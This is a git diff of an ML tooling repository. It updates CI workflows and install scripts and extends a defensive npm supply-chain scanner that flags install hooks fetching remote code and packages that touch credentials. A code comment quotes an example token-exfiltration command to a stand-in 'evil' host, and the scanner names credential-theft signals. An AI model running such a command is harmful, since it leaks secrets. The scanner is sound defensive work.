sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -438,8 +440,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -582,8 +586,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi

11
.github/workflows/studio-backend-ci.yml vendored
View file

@ -68,9 +68,10 @@ jobs:
pip install -r studio/backend/requirements/studio.txt
# Extras that studio.txt does not list but the import chain needs
# (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
# for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
# for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
# the orphan-cleanup process scan, etc.):
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests \
'numpy<3' pytest pytest-asyncio httpx
# Torch CPU + transformers are required by a chunk of the backend test
@ -133,7 +134,7 @@ jobs:
python -m pip install --upgrade pip
pip install -r studio/backend/requirements/studio.txt
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests typer \
'numpy<3' pytest pytest-asyncio httpx
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
@ -229,7 +230,9 @@ jobs:
tests/sh/test_resolve_cuda_archs.sh \
tests/sh/test_tauri_install_exit_order.sh \
tests/sh/test_torch_constraint.sh \
tests/sh/test_torch_flavor.sh; do
tests/sh/test_torch_flavor.sh \
tests/sh/test_with_llama_cpp_dir_flag.sh \
tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
echo "::group::$s"
bash "$s"
echo "::endgroup::"

76
.github/workflows/studio-export-capability-ci.yml vendored Normal file
View file

@ -0,0 +1,76 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
#
# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
# platform) and the export backend must import without PyTorch, so this confirms the gating and
# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
name: Studio export capability
on:
pull_request:
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
push:
branches: [main]
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
capability:
name: capability (${{ matrix.os }})
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 20
env:
# No accelerator on hosted runners; keep detection on the CPU path.
CUDA_VISIBLE_DEVICES: ""
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
cache: 'pip'
- name: Upgrade pip
run: python -m pip install --upgrade pip
- name: Install CPU PyTorch
# CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
# transitive deps still resolve (matching the other workflows in this repo).
run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
- name: Install backend import deps
# Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
# the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
run: python -m pip install
transformers peft accelerate safetensors huggingface_hub datasets
sentencepiece protobuf fastapi starlette structlog psutil
python-multipart pydantic httpx "numpy<3" pytest
- name: Export capability + import-safety tests
working-directory: studio/backend
run: python -m pytest tests/test_export_capability.py -q

17
install.ps1
View file

@ -99,6 +99,7 @@ function Install-UnslothStudio {
$TauriMode = $false
$SkipTorch = $false
$ShortcutsOnly = $false
$WithLlamaCppDir = ""
$argList = $args
for ($i = 0; $i -lt $argList.Count; $i++) {
switch ($argList[$i]) {
@ -116,6 +117,14 @@ function Install-UnslothStudio {
}
$PackageName = $argList[$i]
}
"--with-llama-cpp-dir" {
$i++
if ($i -ge $argList.Count) {
Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
}
$WithLlamaCppDir = $argList[$i]
}
}
}
@ -2435,6 +2444,13 @@ exit 0
}
$studioArgs = @('studio', 'setup')
if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
if ($WithLlamaCppDir) {
if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
}
$env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
}
$env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
# Hand the venv interpreter to setup.ps1 so it reuses the Python we already
# resolved and built the venv with, instead of re-probing the system (which
@ -2450,6 +2466,7 @@ exit 0
} else {
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
}
Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
}

24
install.sh
View file

@ -53,6 +53,11 @@ _VERBOSE=false
_SHORTCUTS_ONLY=false
_next_is_package=false
_next_is_python=false
_next_is_llama_cpp_dir=false
# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
# (the documented piped-install style) is honored; the --with-llama-cpp-dir
# flag below overrides it when given.
_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
for arg in "$@"; do
if [ "$_next_is_package" = true ]; then
PACKAGE_NAME="$arg"
@ -64,6 +69,11 @@ for arg in "$@"; do
_next_is_python=false
continue
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
_WITH_LLAMA_CPP_DIR="$arg"
_next_is_llama_cpp_dir=false
continue
fi
case "$arg" in
--local) STUDIO_LOCAL_INSTALL=true ;;
--package) _next_is_package=true ;;
@ -72,6 +82,7 @@ for arg in "$@"; do
--no-torch) _NO_TORCH_FLAG=true ;;
--verbose|-v) _VERBOSE=true ;;
--shortcuts-only) _SHORTCUTS_ONLY=true ;;
--with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
esac
done
@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then
echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
exit 1
fi
if [ "$_next_is_llama_cpp_dir" = true ]; then
echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
exit 1
fi
# Validate --package to prevent injection into shell/Python commands.
# Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@ -3043,6 +3058,13 @@ _run_setup_with_studio_home() {
"$@"
fi
}
if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then
if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then
echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2
exit 1
fi
_WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)"
fi
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
_run_setup_with_studio_home env \
SKIP_STUDIO_BASE="$_SKIP_BASE" \
@ -3051,6 +3073,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
STUDIO_LOCAL_INSTALL=1 \
STUDIO_LOCAL_REPO="$_REPO_ROOT" \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
else
# Explicitly reset STUDIO_LOCAL_INSTALL / STUDIO_LOCAL_REPO so a stale
@ -3065,6 +3088,7 @@ else
STUDIO_LOCAL_INSTALL=0 \
STUDIO_LOCAL_REPO= \
UNSLOTH_NO_TORCH="$SKIP_TORCH" \
UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \
bash "$SETUP_SH" </dev/null || _SETUP_EXIT=$?
fi

535
scripts/scan_npm_packages.py
View file

@ -40,8 +40,10 @@ from __future__ import annotations
import argparse
import atexit
import base64 as _b64 # imported only so the IOC string-scan can detect it
import bisect
import hashlib
import io
import itertools
import json
import os
import re
@ -897,20 +899,364 @@ def safe_extract(
# ─────────────────────────────────────────────────────────────────────
# How far back to look for an enclosing bracket opener. Symmetric with the
# forward cap so a host that sits deep inside a large options object (its opening
# `{` many properties above) still binds the whole object, not just its own line;
# a too-far start only over-binds (more context, still fail-closed), never less.
_MAX_CONT_LINES = 200
# Hard cap on how far forward a bracket group is followed to its close, measured
# from the matched line so the tail after the match is always reachable even when
# the opener was found near the backward limit (digest input only, never
# displayed); a realistic config object closes well within it.
_MAX_GROUP_LINES = 200
# JS string literal (single / double / template), blanked before counting
# brackets so a bracket inside a string is not mistaken for code.
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / on a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
object; tracking the running minimum keeps that opener visible so the group
binds the path/headers that follow. Only bracket characters are walked (pulled
out with one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _find_unescaped(line: str, quote: str, start: int) -> int:
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
i, n = start, len(line)
while i < n:
if line[i] == "\\":
i += 2
continue
if line[i] == quote:
return i
i += 1
return -1
# A `/` is a regex literal (not division) when the previous significant character
# is none (start) or one of these expression-position chars. Used only by the
# multi-line blanked view, and the span is unioned with the single-line view, so
# an over- or under-detection only ever grows the bound span (never shrinks it).
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
def _blank_js_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single, double, multi-line backtick template
literals) AND regex literal bodies with spaces across ``lines``, keeping the
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
never miscounts a ``)`` that lives inside a string -- including a template
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
cannot blank. Escapes are honoured."""
out: list[str] = []
in_back = False # inside a multi-line `template` literal
prev_sig = "" # last significant non-space char (for regex-vs-division)
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_back:
end = _find_unescaped(line, "`", i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 1))
i = end + 1
in_back = False
prev_sig = "`"
continue
ch = line[i]
if ch in " \t":
buf.append(ch)
i += 1
continue
if ch in "'\"`":
end = _find_unescaped(line, ch, i + 1)
if end == -1:
buf.append(" " * (n - i))
i = n
if ch == "`": # opens a template literal that runs past this line
in_back = True
else:
buf.append(" " * (end - i + 1))
i = end + 1
prev_sig = "v" # a string is a value: a following `/` is division
continue
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
# char class. A regex never spans lines, so no close on the line
# means this `/` is really division.
j, in_class, closed = i + 1, False, False
while j < n:
c = line[j]
if c == "\\":
j += 2
continue
if c == "[":
in_class = True
elif c == "]":
in_class = False
elif c == "/" and not in_class:
j += 1
closed = True
break
j += 1
if closed:
buf.append(" " * (j - i))
i = j
prev_sig = "v" # a regex is a value
continue
buf.append(ch)
i += 1
prev_sig = "/"
continue
buf.append(ch)
i += 1
prev_sig = ch
out.append("".join(buf))
return out
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
"""Precompute once per evidence call: raw lines for display, two string-blanked
views for bracket counting (single-line via regex = legacy, and multi-line
aware so a template literal spanning lines is blanked), and newline offsets for
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
file on every single match (which was O(matches x file size))."""
lines = text.split("\n")
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
ml_blanked = _blank_js_strings(lines)
nl = [p for p, ch in enumerate(text) if ch == "\n"]
return lines, sl_blanked, ml_blanked, nl
# Cap on formatted matches in one evidence string; beyond it the remaining match
# texts are folded into a single digest so a huge/minified file cannot build a
# multi-megabyte evidence blob while an added/removed match past the cap still
# changes the key.
_MAX_EVIDENCE_MATCHES = 64
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
blanked view: scan back to the still-open opener, then forward to its close."""
# Backward: find the line that opens a bracket still unclosed at the match,
# so a match inside a multi-line object starts from the object opener. Each line
# is reduced to (L, R) and applied in order: first the L closers consume open
# brackets from the running context (a stray closer whose opener is outside the
# window only clamps depth at 0, it never goes negative), then the R openers
# add to it. Tracking order this way (rather than a single net per line) keeps a
# trailing opener visible even when leading closers on the same line net it to
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
# changed path/headers after such a line ride the unchanged-hostname key.
start = idx
depth = 0
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
left, right = _bracket_lr(blanked[j])
if left >= depth:
depth = 0 # everything opened so far in the window has closed
start = idx
else:
depth -= left
if right > 0:
if depth == 0:
start = j # outermost still-open opener begins here
depth += right
# Forward: extend until the group opened at `start` closes past the match. The
# same order-aware reduction is used (clamping leading closers at 0) so the
# foreign `})` on the opener line does not drive the count negative and stop the
# scan before the real close. The cap is measured from the match (`idx`), not
# from `start`, so an opener found near the backward limit does not eat the
# whole forward budget and drop the path/headers/body that follow the match.
depth = 0
end = start
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
left, right = _bracket_lr(blanked[j])
depth = max(0, depth - left) + right
end = j
if j >= idx and depth <= 0:
break
return start, end
def _canon_preserve_strings(text: str) -> str:
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
space (so a reindent or spacing change between tokens stays stable) while
preserving whitespace INSIDE single/double/backtick string literals (so a
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
edit along with harmless indentation. Leading/trailing outside whitespace is
dropped; escapes inside strings are honoured. Used for the evidence hash and
the logical-line digests so the two stay consistent."""
out: list[str] = []
i, n = 0, len(text)
quote: str | None = None
pending_space = False
while i < n:
ch = text[i]
if quote is not None:
out.append(ch)
if ch == "\\" and i + 1 < n:
out.append(text[i + 1])
i += 2
continue
if ch == quote:
quote = None
i += 1
continue
if ch.isspace():
pending_space = True
i += 1
continue
if pending_space and out:
out.append(" ")
pending_space = False
out.append(ch)
if ch in "'\"`":
quote = ch
i += 1
return "".join(out)
def _logical_line_text(
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
) -> str:
"""The matched line plus the bracket group it belongs to (the enclosing
multi-line object/call, so a changed ``path``/``headers``/body on another line
binds). Returns the UNION of the groups found in the single-line-blanked view
(legacy: a payload embedded inside a template still counts so its brackets bind
the call) and the multi-line-blanked view (a bracket inside a template literal
spanning lines no longer closes the group early). Unioning never shrinks the
span below either view, so neither blanking strategy can drop a line a
malicious change relies on."""
s1, e1 = _scan_group(sl_blanked, idx)
s2, e2 = _scan_group(ml_blanked, idx)
start, end = min(s1, s2), max(e1, e2)
return " ".join(lines[start : end + 1])
def _format_match(
text: str,
lines: list[str],
sl_blanked: list[str],
ml_blanked: list[str],
nl: list[int],
m: re.Match,
max_chars: int,
) -> str:
# The shown snippet is a small window around the match; append a digest of the
# full LOGICAL line (the matched line plus its bracket-continuation lines)
# whenever the snippet does not already show all of it, so a changed payload
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
# mapped to line numbers via bisect over precomputed newline positions, so this
# is O(log n) instead of rescanning the file prefix for every match.
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
line_start = nl[idx - 1] + 1 if idx > 0 else 0
ke = bisect.bisect_left(nl, m.end())
line_end = nl[ke] if ke < len(nl) else len(text)
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
start = max(line_start, m.start() - 30)
end = min(line_end, m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
if snippet != full_logical:
# Normalize before digesting, matching _evidence_hash, so a formatter-only
# reindent of the bound continuation lines does not reopen -- but preserve
# whitespace inside string literals so a changed request/payload body does.
canon = _canon_preserve_strings(full_logical)
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
snippet = f"{snippet} sha256:{digest}"
return snippet
def _stream_overflow_digest(
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> tuple[int, str]:
"""A single digest binding the LOGICAL line (the bound bracket-group context,
not just the regex match text) of every overflow match in the iterable, plus
the count of matches folded. Streams the matches (any iterable of re.Match) so a
huge overflow never materializes a list. Whitespace-normalized to match
_evidence_hash so a reindent does not reopen."""
h = hashlib.sha256()
count = 0
for m in matches:
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
count += 1
return count, h.hexdigest()
def _fold_overflow_match(
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> None:
"""Fold one overflow match's whitespace-normalized logical-line context into the
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
fold in _outbound_host_evidence so both produce the identical digest."""
idx = bisect.bisect_left(nl, m.start())
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
h.update(b"\x00")
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
def _evidence(
text: str,
pat: re.Pattern,
max_chars: int = 200,
) -> str:
m = pat.search(text)
if not m:
# Record every match (not a truncated sample) so an extra match appended to an
# already-flagged file changes the evidence instead of riding the first few.
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
# (binding their logical-line context) so the evidence string stays bounded
# while a changed payload past the cap still reopens. The matches are streamed
# from finditer rather than materialized into a list: a generated file can
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
# re.Match per occurrence before applying the cap would stall or OOM the scan.
it = pat.finditer(text)
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
if not shown_matches:
return ""
start = max(0, m.start() - 30)
end = min(len(text), m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
return snippet
lines, sl_blanked, ml_blanked, nl = _index_text(text)
shown = [
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
]
# Fold the rest (past the cap) into one digest as they arrive, never building a
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{digest}")
return " | ".join(shown)
def _ioc_evidence(text: str, needle: str) -> str:
"""Matched-line context (with bracket-group continuation) for a literal IOC
needle, so a changed adjacent fetch/exfil body reopens the key instead of
riding the bare constant. Falls back to the needle itself if, defensively,
nothing matches (the caller only reaches here when ``needle in text``)."""
return _evidence(text, re.compile(re.escape(needle))) or needle
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
body = scripts.get(hook)
if not isinstance(body, str):
continue
# Pin the whole lifecycle body via one digest shared by every lifecycle
# finding below: a script that keeps the matched signal but changes
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
# https://evil`) must reopen. The stored evidence is a bounded matched
# snippet plus this digest, never the entire body, so `--write-baseline`
# on a package with a multi-MiB install script does not bloat the baseline
# JSON while the digest still binds the full body. Normalized to match
# _evidence_hash so a reindent alone does not reopen, while whitespace
# inside quoted strings is preserved so a changed quoted payload does.
body_digest = hashlib.sha256(
_canon_preserve_strings(body).encode("utf-8", "replace")
).hexdigest()
if _LIFECYCLE_FETCH_EXEC.search(body):
findings.append(
Finding(
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"lifecycle-fetch-exec ({hook})",
evidence = body,
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` fetches an external "
"resource and pipes/chains it to an "
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-path-in-lifecycle ({hook})",
evidence = body,
evidence = (
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
f"body-sha256:{body_digest}"
),
detail = (
f"`scripts.{hook}` references {why} "
f"({path_substr!r}); install-time access "
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-env-in-lifecycle ({hook})",
evidence = _evidence(body, _JS_ENV_TOKEN),
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` references a credential "
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
return False
def _outbound_host_evidence(text: str, host: str) -> str:
"""Evidence capturing the host WITH its outbound context (URL path, fetch
call, host config), so a changed path/headers/body reopens the key instead
of riding the bare host literal. Falls back to the host if none matches."""
host_re = re.escape(host)
patterns = (
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
re.compile(
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
re.IGNORECASE,
),
# Host-config form: capture the whole line (path/headers/body), so a
# changed outbound payload on the same hostname line reopens the key.
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
)
# Record EVERY outbound context for the host, not just the first form that
# matches: a file that already has a baselined URL for the host and later adds
# a separate host-config request (or a second URL) must change the evidence so
# the new payload cannot inherit the old key. Forms are claimed in order, and a
# region already claimed by an earlier form is skipped, so the common
# single-context case keeps its existing snippet. Each form is capped at
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
# minified file cannot make the overlap check quadratic; once chosen is full
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
# list, so a host repeated millions of times cannot OOM the scan) and an added
# context still reopens.
lines, sl_blanked, ml_blanked, nl = _index_text(text)
claimed: list[tuple[int, int]] = []
chosen: list[re.Match] = []
overflow_count = 0
overflow_hash = hashlib.sha256()
for pat in patterns:
for m in pat.finditer(text):
if len(chosen) < _MAX_EVIDENCE_MATCHES:
# Overlap check runs only while filling the display list, so
# `claimed` is bounded by the cap and this stays O(cap) per match
# (not quadratic), while every later match is still counted below.
if any(m.start() < e and s < m.end() for s, e in claimed):
continue
claimed.append((m.start(), m.end()))
chosen.append(m)
else:
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
overflow_count += 1
if not chosen:
return host
chosen.sort(key = lambda m: m.start())
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(shown)
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
# IOC substrings (literal, case-sensitive).
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
# context (with its bracket-group continuation), not the bare needle: an IOC
# host/hash left in place while the adjacent fetch/exfil body changes must
# reopen the key instead of riding the constant.
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
findings.append(
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
# (path/headers/body) when present so a changed exfil payload on the same call
# reopens; falls back to the bare host when it is not in an outbound call.
for needle, why in CRED_HOST_ALWAYS_BAD:
if needle in text:
findings.append(
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (always-bad)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}); no legitimate "
"frontend use of this surface"
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (outbound)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}) in an outbound "
"call / URL / host config; a defensive blocklist "
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
# Bumped when the entry-key semantics change. v2 keys on the package-relative
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
# in a different directory. A pre-v2 baseline with entries is ignored (fail
# closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 2
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
# with entries is ignored (fail closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 3
def _norm_pkg_name(display: str) -> str:
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, pattern."""
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the matched evidence. The npm snippet carries no line
markers, so it is already version-stable; whitespace outside string literals is
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
changed payload body reopens but a formatter reindent does not."""
canon = _canon_preserve_strings(evidence or "")
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
